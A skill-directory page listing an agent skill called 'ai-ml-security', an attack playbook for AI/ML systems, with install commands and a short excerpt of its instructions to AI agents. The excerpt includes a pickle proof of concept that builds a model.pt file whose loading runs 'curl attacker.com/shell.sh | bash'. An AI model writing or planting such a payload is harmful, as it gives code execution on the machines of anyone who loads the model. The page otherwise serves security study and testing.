Skills for Real Engineers. Straight from my .agents directory.
ai-ml-security
Agent skill fromyaklang/hack-skills
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
How to install ai-ml-security
npx skills add yaklang/hack-skills# or add only this skill to Claude Code: copy the folder
skills/ai-ml-security/
# into
~/.claude/skills/ai-ml-security/ (all projects)
.claude/skills/ai-ml-security/ (one project)
1# SKILL: AI/ML Security — Expert Attack Playbook23> **AI LOAD INSTRUCTION**: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.45## 0. RELATED ROUTING67- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques8- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns9- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion1011---1213## 1. MODEL SUPPLY CHAIN ATTACKS1415### 1.1 Malicious Model Files — Pickle RCE1617Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.1819```python20import pickle21import os2223class MaliciousModel:24 def __reduce__(self):25 return (os.system, ('curl attacker.com/shell.sh | bash',))2627with open('model.pt', 'wb') as f:28 pickle.dump(MaliciousModel(), f)29```30…
Excerpt shown under the repository's MIT license.
More skills in hack-skills
- ▸401-403-bypass-techniques
- ▸active-directory-acl-abuse
- ▸active-directory-certificate-services
- ▸active-directory-kerberos-attacks
- ▸android-pentesting-tricks
- ▸anti-debugging-techniques
- ▸api-auth-and-jwt-abuse
- ▸api-authorization-and-bola
- ▸api-recon-and-docs
- ▸api-sec
- ▸arbitrary-write-to-rce
- ▸attack-surface-mapping
Similar skill repositories
An agentic skills framework & software development methodology that works.
A single CLAUDE.md file to improve Claude Code behavior, derived from Andrej Karpathy's observations on LLM coding pitfalls.
Public repository for Agent Skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
